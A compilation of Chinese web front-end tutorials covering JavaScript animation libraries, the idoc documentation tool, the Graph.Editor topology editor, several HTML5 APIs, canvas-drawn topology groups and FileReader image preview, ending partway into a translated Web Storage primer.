1) Velocity.js是一款动画切换的jQuery插件，它重新实现了jQuery的$.animate()方法从而加快动画切换的速度。Velocity.js只有7k的大小，它不仅包含了$.animate()的所有功能，并且还包含了颜色切换、转换(transform)、循环、缓动、CSS切换、Scroll功能，它是jQuery、 jQuery UI、CSS变换 在动画方面的最佳组合。


Velocity.js支持IE8+、Chrome、Firefox等浏览器，并支持Andriod以及IOS。


Velocity.js在内部实现中使用了jQuery的$.queue()方法，因此它比 jQuery的$.animate()、$.fade()、$.delay()方法更加流畅，其性能也高于CSS的animation属性。


2) GreenSock：GSAP v12平台


非常快的速度：性能是非常重要的，尤其是在移动设备上。GSAP不断优化，以保证互动项目的快速响应、高效率及平滑，你可以从这里查看动画效果测试。


异想天开的强劲：内置众多引擎的功能，如动画色彩、贝塞尔曲线、CSS样式属性、Flash滤镜、数组等等，定义不同的回调，可以通过帧或者秒定义运动。


兼容性：Flash，HTML5，jQuery，Canvas，CSS，新浏览器，旧浏览器，RequireJS，EaseIJS，移动设备等等-GSAP都可以很好的与他们兼容，你可以选择你熟悉的工具来使用。


Javascript，AS3/AS2：选择适合你的语言来完成动画。


轻量与可扩展性：模块化与插件式的结构保持了核心引擎的轻量，TweenLite包非常小（基本上低于7kb）。


没有依赖：GSAP没有基于第三方工具来构建（虽然它将jQuery作为选择器），因此能保证最短的加载时间与最大化性能。


高等序列：不用受限于线性序列，可以重叠动画序列，你可以通过精确时间控制，灵活地使用最少的代码实现动画。


良好的技术支持：可以通过论坛反馈，会有专家和资深活跃用户回答问题。


任何对象都可以实现动画：是的，任何，不用预定义的属性，任何对象的任意数字属性都可以实现动画，如果这些属性（如颜色，滤镜，非数值属性等）需要处理，插件可以实现。如果没有，我们可以实现一个。


重写管理：GSAP帮助防止动画引擎的冲突以及高级选项的设置。


易于学习：文档、教程、 示例、学习指南、论坛，还有很多学习资源，非常地丰富。


许可证：除商业用途意外，GSAP完全免费。


参考链接：


Web Animations 1.0


CSS Will Change Module Level 1


CSS Will Change Module Level 1 （中文版本）


Javascript高性能动画与页面渲染


CSS vs. JS Animation: Which is Faster?


CSS animations and transitions performance: looking inside the browser


SVG or Canvas? СHoosing Between the Two


Exploring the Web Animations API 


Web Animations by Google


Everything You Need to Know About the CSS will-change Property


The (80-storey) Elevator Pitch


HTML5 Animation Speed Test




转自Benjamin-主流动画实现方式总结


 文档生成工具 idoc

作者：小弟调调

来源： 文档生成工具 idoc
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简介

通过markdown生成静态页面的工具。经常用 markdown 写一些接口文档，为了方便特写此工具玩耍。生成的页面预览效果 

这些文档是都是使用idoc生成的页面哦，可以提交用idoc生成的文档哦提交收录。


	JSLite.io - 这个是现代浏览器类似jQuery的库，体积小。


	idoc - 通过markdown生成静态页面的工具


	store.js - js本地存储操作


	cookie.js - js本地cookie操作


	iNotify - 浏览器各种方法通知





	Backbone.js


	Lua5.3


	git


	gulp-book


	shell常用命令


	
测试工具


	chai


	mocha


	should






	
快捷键


	Sketch


	bash


	sublime








源码仓库

仓库地址【https://github.com/jaywcjlove/idoc】 欢迎提需求和bug，提交地址  
issues 。

全局安装

$ npm install idoc -g

使用方法


	任意目录下新建test文件夹，并进入test文件夹 如：mkdir test && cd test。


	在你在的目录下面建立 md 文件夹专门放你的所有 md 文件。


	导航菜单是根据 md 里面的文件目录结构生成 导航菜单。


	在 test 文件夹根目录初始化运行 idoc init 命令，自动生成 package.json 文件。


	生成静态页面，运行 idoc build 命令。


	运行 idoc server 预览生成的静态页面。默认预览地址为 http://localhost:1987/。


	这个时候你可以将生成的文件上传至 github 的 gh-pages 分支中，外网预览。




命令文档

命令使用帮助。

Usage: idoc [options]

Options:

  -h, --help           output usage information
  -V, --version        output the version number
  -C, --Create <file>  Select Directory Makefile.
  init                 init a documentation.
  build                Markdown produces static pages document.
  watch                Listener "md" file is automatically generated pages.
  server               Open local static html server.
  clean                Clear the generate static files.

Examples:

  $ idoc init
  $ idoc init [path]
  $ idoc init [path] -C ~/idoc/
  $ idoc watch
  $ idoc server
  $ idoc clean

init

初始化文档文件

# 默认生成模板和配置文件，将当前文件夹根目录的所有md文件参数生成到配置文件package.json中
$ idoc init
# 将指定的 md 文件拷贝到当前目录下，生成模板和配置文件
$ idoc init ~/md/JSLite.md
# 将指定的两个 md 文件拷贝到当前目录下
$ idoc init ~/git/_idc/package.md  ~/git/_idc/dir/directory.md
# 将指定的 _idc 目录下的所有 md 文件拷贝到当前目录下
$ idoc init ~/git/_idc/

# 指定生成模板和配置文件
# 将“JSLite.md hotkeys.md”两个 md 文件拷贝到指定目录 `~/idoc/` 下面
# 生成模板需要的文件
# 第一个 md 文件是首页
$ idoc init JSLite.md hotkeys.md -C ~/idoc/

build

生成静态 HTML 页面到指定目录中。

$ idoc build

watch

监控 md 文件发生变化自动 build。

$ idoc watch

server

打开本地静态 html 服务器，预览你生成的页面。

$ idoc server

clean

清除生成的静态文件。

$ idoc clean

提交收录

在 issues 中提交你的连接，我讲收录在此。格式如下：

# 我的 xxx 使用 idoc 生成文档
[文档名称](连接地址) 

TODO


	[x] idoc 基本命令定义


	[x] 添加 build 命令，markdown生成静态页面


	[x] 添加 watch 命令，监控markdown文件自动生成HMTL页面


	[x] 默认模板制作


	[x] 树形菜单生成


	[x] 添加 server 命令，预览生成的静态页面


	[x] 添加多页面导航菜单


	[x] 添加 clean 命令


	[x] 静态资源相对路径引用


	[ ] 判断是否存在markdown树形导航菜单


	[ ] 第二个模板制作


	[ ] 模板切换命令


	[ ] api 检索功能


	[x] 兼容windows路径(cmd工具冒得问题嘞)




关注公众号




 基于HTML5的拓扑图编辑器 - Graph.Editor

作者：SamSha

来源： 基于HTML5的拓扑图编辑器 - Graph.Editor



                    
拓扑图编辑器介绍


拓扑图编辑器项目 - Graph.Editor 正式发布到github了，欢迎访问、提取和贡献代码



	项目地址：https://github.com/samsha/graph.editor


	在线演示：http://demo.qunee.com/editor/




Graph.Editor是一款基于HTML5技术的拓补图编辑器，采用jquery插件的形式，是Qunee图形组件的扩展项目，旨在提供可供扩展的拓扑图编辑工具， 拓扑图展示、编辑、导出、保存等功能，此外本项目也是学习HTML5开发，构建WebAPP项目的参考实例。


数据可视化是一件有趣的工作，冰冷的数据变成美观的图形，如同命令行之于Mac OS X图形界面的，传统的图形组件以图表（Chart）居多，不少优秀的开源或者商业的作品，

比如d3js, echarts, highcharts，而拓扑图、流程图组件相对少一些，知名的有yfiles，本项目则基于Qunee图形组件，是Qunee的扩展项目，旨在为客户提供可供扩展的拓扑图编辑工具，

提供拓扑图展示、编辑、导出、保存等功能，此外本项目也是学习HTML5开发，构建WebAPP项目的参考实例。



  注意：本项目内核使用Qunee for HTML5，Qunee本身是一个商业产品，默认仅限本机（localhost）使用，非商业用途可以申请免费授权，商业用途请购买相应授权，官网：qunee.com




在线演示：


请访问此地址查看效果：http://demo.qunee.com/editor/





入门示例


Hello Graph.Editor


<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Hello Qunee</title>
    <link rel=stylesheet href=http://demo.qunee.com/editor/libs/bootstrap/css/bootstrap.css>
    <link rel=stylesheet href=http://demo.qunee.com/editor/libs/graph.editor/graph.editor.css>
</head>
<body class="layout">
<div id="editor" data-options="region:'center'"></div>
<script src="http://demo.qunee.com/editor/libs/js.js"></script>
<script src="http://demo.qunee.com/lib/qunee-min.js?v=1.8"></script>
<script src="http://demo.qunee.com/editor/libs/graph.editor/graph.editor.js"></script>
<script>
    $('#editor').graphEditor({callback: function(editor){
        var graph = editor.graph;
        var hello = graph.createNode("Hello", -100, -50);
        hello.image = Q.Graphs.server;
        var qunee = graph.createNode("Qunee", 100, 50);
        var edge = graph.createEdge("Hello\nQunee", hello, qunee);
        graph.moveToCenter();
    }});
</script>
</body>
</html>



编辑器的基本示例相比Hello Qunee要复杂些，除了Qunee类库外，还用到了一些第三方组件：jquery, bootstrap, layout.border,

此外就是Graph.Editor自身的类库，这里我们引用在线的js和css


实际代码部分，采用了jquery的写法，如下:


$('#editor').graphEditor({
    callback: 回调函数,
    data: json数据地址,
    images: 拖拽图标信息
})



本例中，通过回调函数获取editor.graph对象，并创建了两个节点和一条连线


更多用法请查看其他demo和代码


运行效果





准备工作


项目用到nodejs，使用bower包管理，用到Gulp相关的插件打包和发布


本项目使用以下工具：



	安装nodejs

	安装bower - 包管理

	安装Gulp - 任务自动管理工具



开始开发环境


切换到项目目录，然后运行下面的命令，完成开发环境的安装



  npm install




前端第三方包


用到jquery, bootstrap, layout.border，使用bower下载这些包到bower_components目录



  bower install




项目结构


项目主要代码在app目录，其中脚本代码在app/src/内，


app/
    --src/
        --common/  编辑器扩展插件
            --Exportpane.js 图片导出模块
            --JSONSerializer.js  数据序列化模块
            --PopupMenu.js  右键菜单模块
            --Toolbar.js  工具栏模块
        --images/
        --graph.editor.js  拓扑图编辑器插件
        --graph.editor.css
    --scripts/  示例脚本
    --images/  示例资源
    --data/  示例资源
    --index.html  编辑器主页面
    --demo.html  编辑器插件示例
dist/ 输出目录
bower_components/ bower第三方包目录，运行bower install 后自动生成
node_modules/ 开发环境相关包目录，运行npm install后自动生成



编译打包



  gulp




输出目录结构


dist/
    data/
    images/
    libs/
        bootstrap/  第三方类库bootstrap样式和资源目录
        graph.editor/  graph.editor类库
            images/
            graph.editor.css
            graph.editor.js
        js.js  第三方类库（jquery, bootstrap, layout.border）
    scripts/
    styles/
    index.html



编辑器主要的类库文件位于libs/graph.editor/, 第三方类库（jquery, bootstrap, layout.border）位于libs/js.js，bootstrap样式和资源目录位于libs/bootstrap/


其他示例





 你可能不知道的10个HTML5新功能

作者：Aomine

来源： 你可能不知道的10个HTML5新功能



                    
Element.classList


classList API提供了我们多年来一种使用JavaScript工具库来实现的控制CSS的基本功能：


// 增加一个CSS类
myElement.classList.add("newClass");

// 删除一个CSS类
myElement.classList.remove("existingClass");

// 检查是否拥有一个CSS类
myElement.classList.contains("oneClass");

// 反转一个CSS类的有无
myElement.classList.toggle("anotherClass");



这个新出现的API的主要价值体现就是：简单实用。读一下这篇文章，里面介绍了其它几个classList功能特征。


ContextMenu API


这个新的ContextMenu API非常的有用：它并不会替换原有的右键菜单，而是将你的自定义右键菜单添加到浏览器的右键菜单里：


<section contextmenu="mymenu">

  <!-- 添加菜单 -->
  <menu type="context" id="mymenu">
      <menuitem label="Refresh Post" onclick="window.location.reload();" icon="/images/refresh-icon.png"></menuitem>
      <menu label="Share on..." icon="/images/share_icon.gif">
        <menuitem label="Twitter" icon="/images/twitter_icon.gif" onclick="goTo('//twitter.com/intent/tweet?text=' + document.title + ':  ' + window.location.href);"></menuitem>
        <menuitem label="Facebook" icon="/images/facebook_icon16x16.gif" onclick="goTo('//facebook.com/sharer/sharer.php?u=' + window.location.href);"></menuitem>
      </menu>
    </menu>
</section>



需要注意的是，最好使用JavaScript动态的创建这些菜单代码，因为菜单事件最终要调用JavaScript执行任务，如果用户禁止了JavaScript，右键菜单也不会生成，他同时也不会看到菜单。


Element.dataset


使用dataset API，程序员可以方便的获取或设置data-*自定义属性：


/*  以下面的代码为例

    <div id="myDiv" data-name="myDiv" data-id="myId" data-my-custom-key="This is the value"></div>

*/

// 获取元素
var element = document.getElementById("myDiv");

// 获取id
var id = element.dataset.id;

// 读取 "data-my-custom-key" 的值
var customKey = element.dataset.myCustomKey;

// 修改成其它值
element.dataset.myCustomKey = "Some other value";

    // 结果是：
    //    <div id="myDiv" data-name="myDiv" data-id="myId" data-my-custom-key="Some other value"></div>



无需多说，跟classList一样，简单实用


window.postMessage API


即使是IE8也对postMessage API支持多年了，postMessage API的功能是可以让你在两个浏览器窗口或iframe之间传递信息数据：


// 从A域上的窗口或iframe，发送一条信息到B域中的窗口或ifame
var iframeWindow = document.getElementById("iframe").contentWindow;
iframeWindow.postMessage("来自第一个窗口的问候!");

// 在第二个不同域上的窗口或iframe接收消息
window.addEventListener("message", function(event) {
    // 检验域的合法性
    if(event.origin == "http://www.webhek.com") {
        // 输出日志信息
        console.log(event.data);

        // 反馈消息
        event.source.postMessage("你也好吗!");
    }
]);



消息体只能是字符串，但你可以用JSON.stringify和JSON.parse将消息转换成更有意义的数据体！


autofocus属性


autofocus属性能够让BUTTON, INPUT, 或 TEXTAREA元素在页面加载完成时自动成为页面焦点：


<input autofocus="autofocus" />
<button autofocus="autofocus">Hi!</button>
<textarea autofocus="autofocus"></textarea>



在像谷歌搜索页面那样的有固定模式的地方，autofocus属性是最理想的一个功能。


浏览器对各个API的支持稍有不同，所以，在使用前先检查一下对这些特征的支持情况。再花点时间阅读一下各个API的详细说明，相信你会有更多的发现。


全屏API接口


强大的全屏API接口能让程序员通过编程启动浏览器进入全屏模式，并请求用户的允许：


// Find the right method, call on correct element
function launchFullScreen(element) {
  if(element.requestFullScreen) {
    element.requestFullScreen();
  } else if(element.mozRequestFullScreen) {
    element.mozRequestFullScreen();
  } else if(element.webkitRequestFullScreen) {
    element.webkitRequestFullScreen();
  }
}

// Launch fullscreen for browsers that support it!
launchFullScreen(document.documentElement); // the whole page
launchFullScreen(document.getElementById("videoElement")); // any individual element



任何页面元素都可以成为全屏输出的目标，HTML5里甚至还提供了一个CSS伪类来让程序员在浏览器全屏时控制全屏元素的样式。当你在开发游戏时这个全屏API接口特别有用；尤其像BananaBread这样的枪击游戏中。


阅读教程


页面可见性API接口


页面可见性API接口提供给用了一个监听事件，这个事件能告诉程序员当前页面是否是用浏览器中激活的标签页/窗口、是否是用户正在观看的页面，它还能告诉程序员用户何时切换页面、不再观看本页面/窗口：


// Adapted slightly from Sam Dutton
// Set name of hidden property and visibility change event
// since some browsers only offer vendor-prefixed support
var hidden, state, visibilityChange; 
if (typeof document.hidden !== "undefined") {
  hidden = "hidden";
  visibilityChange = "visibilitychange";
  state = "visibilityState";
} else if (typeof document.mozHidden !== "undefined") {
  hidden = "mozHidden";
  visibilityChange = "mozvisibilitychange";
  state = "mozVisibilityState";
} else if (typeof document.msHidden !== "undefined") {
  hidden = "msHidden";
  visibilityChange = "msvisibilitychange";
  state = "msVisibilityState";
} else if (typeof document.webkitHidden !== "undefined") {
  hidden = "webkitHidden";
  visibilityChange = "webkitvisibilitychange";
  state = "webkitVisibilityState";
}

// Add a listener that constantly changes the title
document.addEventListener(visibilityChange, function(e) {
  // Start or stop processing depending on state

}, false);



阅读教程
观看演示


getUserMedia接口API


getUserMedia API是个非常有趣的接口！使用这个API，加上<video>和<canvas>标记，你可以在浏览器里进行拍照！


// Put event listeners into place
window.addEventListener("DOMContentLoaded", function() {
  // Grab elements, create settings, etc.
  var canvas = document.getElementById("canvas"),
    context = canvas.getContext("2d"),
    video = document.getElementById("video"),
    videoObj = { "video": true },
    errBack = function(error) {
      console.log("Video capture error: ", error.code); 
    };

  // Put video listeners into place
  if(navigator.getUserMedia) { // Standard
    navigator.getUserMedia(videoObj, function(stream) {
      video.src = stream;
      video.play();
    }, errBack);
  } else if(navigator.webkitGetUserMedia) { // WebKit-prefixed
    navigator.webkitGetUserMedia(videoObj, function(stream){
      video.src = window.webkitURL.createObjectURL(stream);
      video.play();
    }, errBack);
  }
}, false);



你一定要在以后的应用中试试这个HTML5新功能，通过浏览器进行各种各样的交互的技术已经越来越流行了！


阅读教程
观看演示


电池接口API


电池接口API很显然是专门为手机里的浏览器应用设计的，它提供了读取设备里的电池电量和充电状态的功能：


// Get the battery!
var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;

// A few useful battery properties
console.warn("Battery charging: ", battery.charging); // true
console.warn("Battery level: ", battery.level); // 0.58
console.warn("Battery discharging time: ", battery.dischargingTime);

// Add a few event listeners
battery.addEventListener("chargingchange", function(e) {
  console.warn("Battery charge change: ", battery.charging);
}, false);



这些HTML5提供的电池接口API能直接将电池电量状态告诉web应用，而不需要借助电池传感器或第三方应用。虽然不是一个特别大的功能，但绝对是一个有用的接口。


阅读教程
观看演示


页面预加载(Link prefetch)API


页面预加载(Link prefetch)API功能能够让浏览器在后台静悄悄的预先加载/读取一些页面或资源到当前页面，给用户一个顺滑的使用体验：


<!-- 预加载一个页面 -->
<link rel="prefetch" href="http://www.webhek.com/link-prefetch/" />

<!-- 预加载一个图片 -->
<link rel="prefetch" href="http://www.webhek.com/wordpress/wp-content/themes/webhek2/images/follow-us.jpg" />



阅读教程


就是这5个你需要知道和尝试的新HTML5 API。请注意，这些新功能在几年之内就会流行起来，所以，越早接受这些API，你就能更好的创造出最前沿技术的Web应用。花几分钟试试这些新功能，看看你能用它们实现什么样的效果！




本文合并了 《你不知道的5个HTML5新功能》和《你不知道的5个HTML5新功能(第二辑)》


 HTML5，不只是看上去很美（第三弹：萌萌哒拓扑图分组）

作者：MonoLog

来源： HTML5，不只是看上去很美（第三弹：萌萌哒拓扑图分组）



                    
前言


这段时间承蒙大家厚爱，给了我相当大码字的动力，决定节前再更一弹。最近养成了回顾总结的好习惯，sf真是个不错的地方。


最近忙着给客户折腾一个复杂的多层嵌套关系。客户一句话“要好看！”，哥就忙白了头啊，还好赶在节前解决了，不然真的要随广大股民排队投江庆祝端午了。


需求描述


先简单描述下这次客户的需求。


现实应用中，网络拓扑图结构可能很简单，也可能非常复杂。


比如这种节点较多的单层拓扑：



稍复杂一些的：



再复杂一些的：



在这些拓扑图中常见的场景是，很多网络节点需要组成一组，这常被称为“网元组”。一般来说，网元组会有一个形状，双击可以展开/闭合。例如下图中的像如下：






这次客户的需求中，最大的难点就是需要有五层网元组的嵌套，五层同时展开时，要求清晰美观。常规的分组形状有圆形、矩形、平行四边形等，无论哪种形状，分组多了后，就会产生审美疲劳。比如，我让设计师mm简单地把五层嵌套画个图，它看起来会是这样：



我把这个图给客户看了以后，客户表示希望“结构能够更加清晰”。那天，魔都大雨倾盆，我抓耳挠腮一个下午，终于有了一些灵感。


颜色


怎样才能使得结构效果更加清晰？我想到的是用颜色。颜色永远是图形设计里面的第一要素。如果分组颜色千篇一律，自然就看不太清楚包含关系。但是颜色太多五颜六色，显然也不符合电信UI系统的风格。那颜色要如何设置呢？层层嵌套的分组，层层……叮！你有没有想到一种蔬菜？





（此处哼唱“如果你可以一层一层一层地剥开我的心……”一百遍……）


这颗大洋葱看上去层次分明，是因为它的颜色从内到外有一定规律的变化：渐变。说到渐变，又想起最近GF推荐的一枚游戏，大概内容是按照颜色的渐变规律来排列一些方块。（很无聊有没有？）





不过，前端设计中，配色倒是很重要的一个环节。


总之，想好了用渐变的配色来使嵌套组更清晰后，就大胆地尝试一下：


var group = new twaver.Group();
group.setStyle('group.fill.color', style[3]);
group.setStyle('group.deep', 0);
group.setStyle('group.outline.width', style[1]);
group.setStyle('group.outline.color', style[0]);
group.setStyle('group.shape', 'roundrect');         
group.setStyle('select.style', 'none');
group.setStyle('vector.outline.pattern', style[2]);
group.setStyle('label.font', '14px "Microsoft Yahei"');
group.setStyle('whole.alpha', 0.8);
group.setStyle('group.padding', -10);
group.setStyle('label.position', 'topright.topleft');
group.setName(name);
group.setLocation(100+150*level, 300);

box.add(group);         



数据量更大的时候，看看分组是不是会更加清晰？



更多颜色


这个图做出来之后，拿给周围几个同事看，大家纷纷表示不错，但是似乎有一些死板，不够生动。生动。。那就是要活灵活现的，于是我继续抓耳挠腮，又想到了一些瓜果蔬菜：








果然还是配色不够明艳啊。我又让设计师mm给找了几个色值调整了一下：



折角


有了写花瓣层叠的感觉，是不是舒服多了？不过，方方正正的组的形状，还是太死板，缺乏立体感。看到桌子上的一张折了角的白纸，突然有了灵感。


给方形的组做一个折角效果，不知效果如何。要做这个效果，就要重写group的绘制，自己接管2d绘制了。Group的形状将不再是一个矩形，而是一个切角的矩形。


//draw round rect body.


var roundRadius=10;
ctx.save();
ctx.beginPath();
ctx.moveTo(rect.x+roundRadius, rect.y);
ctx.lineTo(rect.x+rect.width-60, rect.y);
ctx.lineTo(rect.x+rect.width, rect.y+28);
ctx.lineTo(rect.x+rect.width, rect.y+rect.height-roundRadius);
ctx.quadraticCurveTo(rect.x+rect.width, rect.y+rect.height, rect.x+rect.width-roundRadius, rect.y+rect.height);
ctx.lineTo(rect.x+roundRadius, rect.y+rect.height);
ctx.quadraticCurveTo(rect.x, rect.y+rect.height, rect.x, rect.y+rect.height-roundRadius);
ctx.lineTo(rect.x, rect.y+roundRadius);
ctx.quadraticCurveTo(rect.x, rect.y, rect.x+roundRadius, rect.y);
ctx.save();
ctx.shadowOffsetX = 4;
ctx.shadowOffsetY = 4;
ctx.shadowBlur = 4;
ctx.shadowColor ="#555555";
ctx.fill();
ctx.restore();
ctx.lineWidth=node.getStyle('group.outline.width');
ctx.strokeStyle=node.getStyle('group.outline.color');
ctx.stroke();       
ctx.restore();



通过绘制一个带圆角的矩形并切掉一个角，stroke到画布上。看看效果：



再通过增加圆角、切角、增加阴影、设置不同的边框线宽，让分组进一步产生“层层递进”的感觉。现在就剩下画折角的细节了。


折角这里，需要画一个被折下来的直角三角形。三角形的颜色，应该是“纸”的背面颜色。这里小心定义三角形的形状，并进行填充：


//draw corlor.


ctx.fillStyle=node.getStyle('group.outline.color');             
ctx.lineWidth=node.getStyle('group.outline.width');
ctx.lineJoin='bevel';
ctx.beginPath();
ctx.moveTo(rect.x+rect.width-60, rect.y);
ctx.lineTo(rect.x+rect.width-23-10, rect.y+47-10);
ctx.quadraticCurveTo(rect.x+rect.width-23, rect.y+46, rect.x+rect.width-23+10, rect.y+47-10);
ctx.lineTo(rect.x+rect.width, rect.y+28);
ctx.closePath();
ctx.save();
ctx.shadowOffsetX = 4;
ctx.shadowOffsetY = 4;
ctx.shadowBlur = 4;
ctx.shadowColor ="#777777";
ctx.fill();                         
ctx.restore();
ctx.strokeStyle=node.getStyle('group.outline.color');
ctx.stroke();   



效果如下，立体感出来以后，是不是生动了很多？



这里要注意的是，折角的阴影也要设置，并且填充要使用和边框相同的颜色，增加“折纸”的立体感。


小细节


折纸效果有了，不过左侧上方略显空旷，于是利用canvas的2d来练练手，画个path看看：


ctx.save();
ctx.strokeStyle='#27A3DA';
ctx.lineWidth=2;
ctx.beginPath();
ctx.moveTo(rect.x+31, rect.y+5);
ctx.lineTo(rect.x+25, rect.y+20);
ctx.bezierCurveTo(rect.x+25, rect.y+26, rect.x+28, rect.y+28, rect.x+32, rect.y+23);
ctx.lineTo(rect.x+42, rect.y-2);
ctx.bezierCurveTo(rect.x+42, rect.y-12, rect.x+32, rect.y-10, rect.x+32, rect.y-5);
ctx.lineTo(rect.x+29, rect.y-1);

ctx.shadowOffsetX = 1;
ctx.shadowOffsetY = 1;
ctx.shadowBlur = 1;
ctx.shadowColor ="#aaaaaa";
ctx.stroke();
ctx.restore();



运行一下，你猜是神马？



哈哈，一个小回形针瞬间跃然纸上了，感觉萌萌哒！为了增加立体感，回形针也是要设置阴影的，不过偏移不要太大、颜色要淡一些，像这样：



适当明艳的色彩，加上折角、阴影和小回形针，这回这个层层嵌套总算是清晰又好看了吧？


运行一下，拖拖拽拽，因为之前已经做了不少图标、线条的样式，所以总体效果还是很不错的！








后记


最后还是想唠叨几句HTML5的canvas，虽然已经不是什么新鲜技术了，但直接在浏览器中绘制网络拓扑图的逻辑关系，而不需要安装任何插件，对于很多正在更新换代的OSS系统来说，还是很有吸引力的。当技术本身不再有壁垒，我们更应该注重的是实际业务中应用，比如在画这种组织结构关系非常复杂的拓扑图时，如何让图形更加清晰、易懂，让技术真正落到实处。


 HTML5 实现图片预览和查看原图

作者：wenzi

来源： HTML5 实现图片预览和查看原图



                    
html5从一开始就给开发者很多的期待，提供众多新的API，不用再想以前一样，为了实现某个功能写很多的代码。在以前，如果要实现图片预览会怎么做呢，因为为了安全的原因，web端的js是不能读取文件的本地真实路径的，那么只能将图片上传到服务器上，然后再拿到图片的链接，这样才能实现图片预览。而服务器呢，比如有两个文件夹，一个是临时文件夹，一个是正式文件夹，临时文件夹会定时进行清理，正式文件夹是用户确认使用的图片存储的位置。


1. fileReader


现在HTML5提供的API不再让图片预览那么麻烦，FileReader提供了很多的方法来进行图片预览和文本读取，同时也提供了一整套完整的事件来捕获文件的状态，如下：


FileReader接口的方法 FileReader接口有4个方法，其中3个用来读取文件，另一个用来中断读取。无论读取成功或失败，方法并不会返回读取结果，这一结果存储在result属性中。




	方法名
        	参数
        	描述
    


	readAsBinaryString
        	file
        	将文件读取为二进制编码
    


	readAsText
        	file[, encoding]
        	按照格式将文件读取为文本，encode默认为UTF-8
    


	readAsDataURL
        	file
        	将文件读取为DataUrl
    


	abort
        	(none)
        	终端读取操作
    




FileReader接口事件 FileReader接口包含了一套完整的事件模型，用于捕获读取文件时的状态。




	事件
        	描述
    


	onabort
        	中断
    


	onerror
        	出错
    


	onloadstart
        	开始
    


	onprogress
        	正在读取
    


	onload
        	成功读取
    


	onloadend
        	读取完成，无论成功失败
    




2. 使用 fileReader 读取图片


从上面的表格中，我们可以大致了解fileReader提供哪些方法和事件，不过本文主要是讲解图片的读取，那么我们就是用readAsDataURL()就可以了。不过，在进行这一切之前，我们必须检测当前的浏览器是否支持HTML5的fileReader，别进行了一系列的处理和操作，结果js报错，说fileReader没有定义。就好像对一个女孩儿又亲又啃，马上要提枪上马了，结果发现这是个纯爷们。


if(!(window.FileReader && window.File && window.FileList && window.Blob)){
    show.innerHTML = '您的浏览器不支持fileReader';
    upimg.setAttribute('disabled', 'disabled');
    return false;
}



好的，让我们先看下demo演示：【狠狠点击这里】


2.1 读取单张图片


使用input[type=file]控件读取文件，然后监听这个控件的change事件，若读取的文件个数大于零，那么就进行下一步的操作：


<input type="file" id='upimg' />
var upimg = document.querySelector('#upimg');
upimg.addEventListener('change', function(e){
    var files = this.files;
    if(files.length){
        // 对文件进行处理，下面会讲解checkFile()会做什么
        checkFile(this.files);
    }
});



现在我们只能选取一张图片，针对选取的这张图片，我们使用fileReader进行图片的处理


// 图片处理
function checkFile(files){
    var file = files[0];
    var reader = new FileReader();
    // show表示<div id='show'></div>，用来展示图片预览的
    if(!/image\/\w+/.test(file.type)){
        show.innerHTML = "请确保文件为图像类型";
        return false;
    }
    // onload是异步操作
    reader.onload = function(e){
        show.innerHTML = '<img src="'+e.target.result+'" alt="img">';
    }
    reader.readAsDataURL(file);
}



现在，就可以在页面上看到图片了。审查元素后我们能够看到，图片地址是个base64的字符串，如：'data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sA......'


2.2 读取多张图片


多张图片和单张图片的处理过程很相似，但是也还是有区别的，因为reader.onload()是一个异步的操作，进行下一步的操作时必须在这个方法里


<input type="file" id='upimg' multiple />
// change事件没有改动
// 图片处理
function checkFile(files){
    var html='', i=0;
    var func = function(){
        if(i>=files.length){
            // 若已经读取完毕，则把html添加页面中
            show.innerHTML = html;
        }
        var file = files[i];
        var reader = new FileReader();

        // show表示<div id='show'></div>，用来展示图片预览的
        if(!/image\/\w+/.test(file.type)){
            show.innerHTML = "请确保文件为图像类型";
            return false;
        }
        reader.onload = function(e){
            html += '<img src="'+e.target.result+'" alt="img">';
            i++;
            func(); //选取下一张图片
        }
        reader.readAsDataURL(file);
    }
    func();
}



2.3 拖拽拉去图片


拖拽事件，采用的是HTML5中的drag和drop，本文不着重介绍这两个方法，仅仅是讲解如何使用。


首先，我们设置一块拖拽区域，告诉用户应该把图片拖拽到什么位置：


<style>
    .drag{ width: 400px;height: 100px;border: 1px dotted #333; text-align: center; line-height: 100px; color: #aaa; display: inline-block;}
    .drag_hover{background: #FAD6F9;}
</style>
<span class='drag' id="drag">拖拽区域</span>



然后，我们给drag区域绑定上拖拽事件


var drag = document.getElementById('drag');
drag.addEventListener('dragenter', function(e){
    // 拖拽鼠标进入区域时
    this.className = 'drag_hover';
}, false);
drag.addEventListener('dragleave', function(e){
    // 拖拽鼠标离开区域时
    this.className = '';
}, false);
drag.addEventListener('drop', function(e){
    // 当鼠标执行‘放’的动作时，执行读取文件操作
    var files = e.dataTransfer.files;
    this.className = '';
    if (files.length != 0) {
        checkFile(files);
    };
    e.preventDefault();
}, false)
drag.addEventListener('dragover', function(e){
    // 当对象拖动到目标对象时触发
    e.dataTransfer.dragEffect = 'copy';
    e.preventDefault();
}, false);



这里有个需要注意的地方：需要给dragover和drop添加阻止默认事件，否则浏览器会采用file:///的方式打开文件。drop事件执行后就是进行checkFile()，后续的操作与使用input[type=file]的操作一样。


3. 点击查看原图


当我们点击图片查看原图时，需要知道图片的原始尺寸。可能你会想到使用img.width和img.height，对，这个确实能获取到图片的长和宽，但是，这个长和宽是经过css修饰后的，不是图片原始的尺寸。如果要获取图片的原始尺寸，我们可以在js中创建一个imgs对象，然后把那张图片的地址给了这个imgs对象，然后获取imgs对象的尺寸，这样就能获取到图片的原始尺寸了。


var imgs = new Image();
imgs.src = img.src; // 给新的img对象链接
console.log(imgs.width, imgs.height);



而在HTML5中，我们不用再那么麻烦的创建一个无用的img对象了，直接使用给出的属性即可。


console.log(img.naturalWidth);  // 获取图片的原始的宽度
console.log(img.naturalHeight); // 获取图片的原始的高度



获取到图片的原始尺寸后，就能做出‘查看原图’的效果了。


4. 总结


HTML5 真是个好东西，还有着很多的东西等着我们去挖掘。“蹿腾吧，程序员”！


 [译] Web Storage 初探

作者：wangfulin
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原文：Web Storage: A Primer



Web Storage是相对比较新的一种可以将数据存储在用户电脑（客户端）的一种方式。

Web Storage给网站/应用提供了很多好处。比如，Web Storage可以用来跨网站/应用监测用户的行为而不需要服务端脚本和数据库。Web Storage也能在用户即使突然断网的情况下保存一部分web应用的能力，让你不会因为网络连接的问题受到影响

Web Storage vs. Cookies

传统的用来在客户端保存数据的方式是通过HTTP cookies。

Web Storage和cookies之间存在着很多的区别。让我们把注意力放在这两种客户端数据存储的方法的真正的区别上。

存储原理

